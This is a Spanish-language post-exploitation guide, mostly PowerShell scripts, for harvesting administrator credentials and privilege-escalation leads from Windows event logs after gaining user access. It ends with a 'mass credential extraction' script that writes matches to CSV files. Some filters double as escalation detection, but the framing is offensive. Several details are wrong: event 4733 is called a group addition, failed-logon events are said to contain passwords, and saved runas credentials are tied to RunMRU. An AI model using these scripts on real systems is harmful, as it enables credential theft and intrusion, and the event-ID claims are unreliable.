Skip to content

LOGS DEL SISTEMA - Windows

Una vez dentro del sistema con acceso de usuario normal, los logs contienen información crítica para encontrar credenciales de usuarios administrativos, identificar vectores de escalada de privilegios, y descubrir cambios de permisos.


PART A: Eventos que Contienen Credenciales en Logs

PowerShell Script Block Logging (ID 4104) - Credenciales Directas

Buscar credenciales hardcoded en scripts ejecutados:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
    ForEach-Object { 
        $script = $_.Properties[2].Value
        if ($script -match 'password|passwd|pwd|-Password|-Credential|Authorization.*Basic') {
            Write-Host "=== $($_.TimeCreated) ===" -ForegroundColor Green
            Write-Host $script
            Write-Host ""
        }
    }

Extraer credenciales en Base64 (Authorization header):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 2000 |
    ForEach-Object { 
        $script = $_.Properties[2].Value
        if ($script -match 'Authorization.*Basic|ToBase64String') {
            Write-Host "=== Credenciales Base64 ===" -ForegroundColor Yellow
            Write-Host $script
        }
    }

Buscar runas commands (ejecutar como otro usuario):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 2000 |
    ForEach-Object { 
        if ($_.Properties[2].Value -match 'runas|/user|/savecred') {
            Write-Host "=== Runas Encontrado ===" -ForegroundColor Red
            Write-Host $_.Properties[2].Value
        }
    }

Security Log - Credenciales Expuestas en Eventos de Error

Búsqueda en mensajes de evento (a veces contienen contraseñas):

powershell
Get-WinEvent -LogName Security -MaxEvents 2000 -ErrorAction SilentlyContinue |
    Where-Object { 
        $_.Message -like "*password*" -or 
        $_.Message -like "*credential*" -or 
        $_.Message -like "*passwd*" 
    } |
    Select-Object TimeCreated, EventID, Message |
    Format-Table -AutoSize

Buscar credenciales en eventos fallidos (a veces se envían en texto):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4625  # Logon fallido
} -MaxEvents 1000 |
    Where-Object { 
        $_.Message -like "*password*" 
    } |
    Select-Object TimeCreated, Message

PART B: Búsqueda por TEXTO - Identificar Usuarios Administrativos y Privilegios

Patrón 1: Usuarios Administrativos en Logs

Buscar menciones de "admin" en logon exitosos (qué admins están activos):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4624  # Logon exitoso
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
    Where-Object { 
        $_.Message -like "*admin*" -or 
        $_.Message -like "*root*" -or 
        $_.Message -like "*system*" 
    } |
    Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[5].Value}}, Message

Buscar credenciales de dominios administrativos:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
} -MaxEvents 2000 |
    Where-Object { 
        $_.Message -like "*DOMAIN\admin*" -or 
        $_.Message -like "*administrator*" -or 
        $_.Message -like "*domain admin*"
    } |
    Select-Object TimeCreated, EventID, Message

Patrón 2: Procesos Corren como SYSTEM o ADMIN

Buscar procesos creados por usuarios privilegiados:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688  # Proceso creado
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
    Where-Object { 
        $_.Message -like "*SYSTEM*" -or 
        $_.Message -like "*administrator*" -or
        $_.Message -like "*admin*" 
    } |
    Select-Object TimeCreated, Message | Format-Table -AutoSize

Buscar procesos PowerShell ejecutados como SYSTEM:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688
} -MaxEvents 2000 |
    Where-Object { 
        $_.Message -like "*powershell*" -and 
        $_.Message -like "*SYSTEM*" 
    } |
    Select-Object TimeCreated, Message

Patrón 3: Cambios de Permisos y Grupos

Búsqueda de usuarios agregados a grupos administrativos:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
} -MaxEvents 2000 -ErrorAction SilentlyContinue |
    Where-Object { 
        $_.Message -like "*admin*" -and 
        ($_.Message -like "*added*" -or $_.Message -like "*miembro*" -or $_.EventID -eq 4733) 
    } |
    Select-Object TimeCreated, EventID, Message

Búsqueda de cambios en permisos de archivos:

powershell
Get-WinEvent -LogName Security -MaxEvents 2000 |
    Where-Object { 
        $_.Message -like "*permission*" -or 
        $_.Message -like "*access*" -or
        $_.EventID -eq 4670  # Permisos cambiados
    } |
    Select-Object TimeCreated, Message

Patrón 4: Servicios Ejecutándose como Usuarios con Privilegios

Buscar servicios que corren como usuario (potencial para service abuse):

powershell
Get-WinEvent -LogName System -MaxEvents 2000 |
    Where-Object { 
        $_.Message -like "*service*" -and 
        ($_.Message -like "*running as*" -or $_.Message -like "*started as*") 
    } |
    Select-Object TimeCreated, Message | Format-Table -AutoSize

PART C: Búsqueda por ID - Eventos Específicos para Escalada

ID 4672: Permisos Especiales Asignados

Se ejecutó con permisos elevados - puede haber usado runas:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4672
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[1].Value}}, Message |
    Format-Table -AutoSize

ID 4733: Usuario Agregado a Grupo (Escalada Potencial)

Qué usuarios fueron agregados a grupos administrativos:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4733
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message

ID 4720: Usuario Nuevo Creado (Backdoor/Nuevas Cuentas)

Cuándo se crearon nuevas cuentas (posible backdoor):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4720
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message |
    Format-Table -AutoSize

Buscar nuevos usuarios creados como administrativos:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4720
} -MaxEvents 100 |
    Where-Object { $_.Message -like "*admin*" } |
    Select-Object TimeCreated, Message

ID 4722: Usuario Habilitado (Cuenta Dormida Activada)

Cuándo se habilitaron cuentas deshabilitadas (escalada):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4722
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message

ID 4728: Usuario Agregado a Grupo Global (Escalada Directa)

Usuario agregado a grupo - directamente de escalada:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4728
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message

ID 4724: Intento de Cambio de Contraseña

Cuándo intentaron cambiar contraseñas (potencial escalada):

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4724
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, @{Name="User"; Expression={$_.Properties[0].Value}}, Message

ID 4648: Logon con Credenciales Alternativas (CRITICAL)

Se usó runas o credenciales diferentes - puede haber credenciales en logs:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4648
} -MaxEvents 100 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-Table -AutoSize

ID 4104: PowerShell Script Execution (Dónde Están las Credenciales)

Scripts PowerShell ejecutados - probablemente contengan credenciales:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 500 |
    Where-Object { 
        $_.Properties[2].Value -match 'password|credential|user|pass' 
    } |
    ForEach-Object { 
        Write-Host "=== $($_.TimeCreated) ===" -ForegroundColor Cyan
        Write-Host $_.Properties[2].Value
    }

PART D: Filtros ESENCIALES - Combinaciones para Escalada

Filtro 1: Credenciales Recientes en PowerShell

Últimas 48 horas - credenciales en scripts:

powershell
$startTime = (Get-Date).AddHours(-48)

Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
    StartTime = $startTime
} |
    ForEach-Object { 
        $script = $_.Properties[2].Value
        if ($script -match 'password|user:|admin|domain\\') {
            Write-Host "[$($_.TimeCreated)] CREDENCIAL ENCONTRADA"
            Write-Host $script -ForegroundColor Yellow
            Write-Host "---"
        }
    }

Filtro 2: Cambios Administrativos Sospechosos

Usuarios agregados a admin groups + nuevos usuarios creados:

powershell
Write-Host "=== NUEVOS USUARIOS CREADOS ===" -ForegroundColor Red
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4720
    StartTime = (Get-Date).AddDays(-7)
} |
    Select-Object TimeCreated, Message

Write-Host "`n=== USUARIOS AGREGADOS A GRUPOS ===" -ForegroundColor Red
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4733
    StartTime = (Get-Date).AddDays(-7)
} |
    Select-Object TimeCreated, Message

Filtro 3: Runas y Credenciales Alternativas

Búsqueda de runas ejecutados + credenciales alternativas usadas:

powershell
Write-Host "=== RUNAS EJECUTADOS ===" -ForegroundColor Yellow
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 1000 |
    Where-Object { $_.Properties[2].Value -match 'runas|/user:' } |
    ForEach-Object { Write-Host $_.Properties[2].Value }

Write-Host "`n=== CREDENCIALES ALTERNATIVAS USADAS ===" -ForegroundColor Yellow
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4648
} -MaxEvents 100 |
    Select-Object TimeCreated, Message

Filtro 4: Procesos SYSTEM con PowerShell (Escalada Completada)

Si hay procesos PowerShell corriendo como SYSTEM, es evidencia de escalada:

powershell
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688
} -MaxEvents 2000 |
    Where-Object { 
        $_.Message -like "*powershell*" -and 
        $_.Message -like "*SYSTEM*" 
    } |
    ForEach-Object {
        Write-Host "=== ESCALADA COMPLETADA ===" -ForegroundColor Red
        Write-Host $_.TimeCreated
        Write-Host $_.Message
    }

Filtro 5: Exportar Credenciales Encontradas

Guardar todos los eventos con credenciales a archivo:

powershell
$credentials = @()

# PowerShell Script Block Logging
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 2000 |
    ForEach-Object { 
        if ($_.Properties[2].Value -match 'password|credential|user:') {
            $credentials += [PSCustomObject]@{
                TimeCreated = $_.TimeCreated
                Source = "PowerShell"
                Content = $_.Properties[2].Value
            }
        }
    }

# Guardar a archivo
$credentials | Export-Csv C:\temp\found_credentials.csv -NoTypeInformation
Write-Host "Credenciales guardadas en: C:\temp\found_credentials.csv"

PART E: Casos Prácticos - Escalada de Privilegios

CASO 1: Encontrar Credenciales Admin en PowerShell Logs

Objetivo: Usuario ejecutó un script que contiene credenciales de admin

Proceso:

powershell
Write-Host "=== BUSCANDO CREDENCIALES DE ADMIN EN POWERSHELL ===" -ForegroundColor Red

$adminCredentials = Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 3000 |
    ForEach-Object { 
        $script = $_.Properties[2].Value
        if ($script -match 'admin.*password|password.*admin|domain\\admin') {
            Write-Host "[$($_.TimeCreated)] ADMIN CREDENTIAL FOUND" -ForegroundColor Yellow
            Write-Host $script -ForegroundColor Cyan
            Write-Host "---"
        }
    }

CASO 2: Rastrear Cambios de Permisos Recientes

Objetivo: Identificar si alguien escaló permisos recientemente

Proceso:

powershell
$sevenDaysAgo = (Get-Date).AddDays(-7)

Write-Host "=== BÚSQUEDA DE ESCALADA DE PRIVILEGIOS (ÚLTIMOS 7 DÍAS) ===" -ForegroundColor Red

# ID 4672 = Permisos especiales asignados
Write-Host "`n[*] Eventos con permisos especiales:"
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4672
    StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, Message

# ID 4733 = Usuario agregado a grupo
Write-Host "`n[*] Usuarios agregados a grupos:"
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4733
    StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, Message

# ID 4720 = Usuario creado
Write-Host "`n[*] Nuevos usuarios creados:"
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4720
    StartTime = $sevenDaysAgo
} | Select-Object TimeCreated, Message

CASO 3: Detectar Runas con Credenciales Guardadas

Objetivo: Encontrar runas /savecred que podrían haber guardado credenciales

Proceso:

powershell
Write-Host "=== BÚSQUEDA DE RUNAS CON CREDENCIALES GUARDADAS ===" -ForegroundColor Red

Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 2000 |
    ForEach-Object { 
        $script = $_.Properties[2].Value
        if ($script -match 'runas.*\/savecred|\/savecred.*runas') {
            Write-Host "[$($_.TimeCreated)] RUNAS /SAVECRED ENCONTRADO" -ForegroundColor Yellow
            Write-Host "Usuario que ejecutó: $(whoami)" 
            Write-Host "Comando: $script"
            Write-Host "---"
        }
    }

Write-Host "`n[!] Si se encuentran runas /savecred, revisar:"
Write-Host "    registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

CASO 4: Verificar si Alguien ya Escaló Privilegios

Objetivo: Confirmar si hay evidencia de escalada exitosa

Proceso:

powershell
Write-Host "=== VERIFICACIÓN DE ESCALADA EXITOSA ===" -ForegroundColor Red

# Buscar procesos PowerShell como SYSTEM
Write-Host "`n[1] PowerShell ejecutado como SYSTEM:"
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4688
} -MaxEvents 1000 |
    Where-Object { 
        $_.Message -like "*powershell*" -and $_.Message -like "*SYSTEM*" 
    } | Select-Object TimeCreated, Message

# Buscar credenciales alternativas usadas
Write-Host "`n[2] Credenciales alternativas (runas) usadas:"
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4648
} -MaxEvents 100 | Select-Object TimeCreated, Message

# Buscar servicios iniciados como usuario
Write-Host "`n[3] Servicios ejecutados como usuario específico:"
Get-WinEvent -LogName System -MaxEvents 1000 |
    Where-Object { $_.Message -like "*service*" -and $_.Message -like "*as*" } |
    Select-Object TimeCreated, Message

CASO 5: Extracción Masiva de Credenciales de Logs

Objetivo: Extraer TODAS las credenciales encontradas en todos los logs

Proceso:

powershell
Write-Host "=== EXTRACCIÓN MASIVA DE CREDENCIALES ===" -ForegroundColor Red

$allCredentials = @()

# De PowerShell
Write-Host "[*] Buscando en PowerShell Operational Log..."
Get-WinEvent -FilterHashtable @{
    LogName = 'Microsoft-Windows-PowerShell/Operational'
    ID = 4104
} -MaxEvents 3000 | ForEach-Object {
    $script = $_.Properties[2].Value
    if ($script -match 'password|credential|user.*:.*|[a-zA-Z0-9]{8,}' -and 
        $script -match '[a-z]+\:[a-zA-Z0-9]+') {
        $allCredentials += [PSCustomObject]@{
            Time = $_.TimeCreated
            Type = "PowerShell"
            Content = $script.Substring(0, 200)  # Primeros 200 caracteres
        }
    }
}

# De Security Log
Write-Host "[*] Buscando en Security Log..."
Get-WinEvent -LogName Security -MaxEvents 2000 | Where-Object {
    $_.Message -like "*password*" -or $_.Message -like "*credential*"
} | ForEach-Object {
    $allCredentials += [PSCustomObject]@{
        Time = $_.TimeCreated
        Type = "Security"
        Content = $_.Message.Substring(0, 200)
    }
}

# Exportar
$allCredentials | Sort-Object Time -Descending | 
    Export-Csv C:\temp\all_creds_found.csv -NoTypeInformation

Write-Host "`n[+] Credenciales encontradas: $($allCredentials.Count)"
Write-Host "[+] Guardado en: C:\temp\all_creds_found.csv"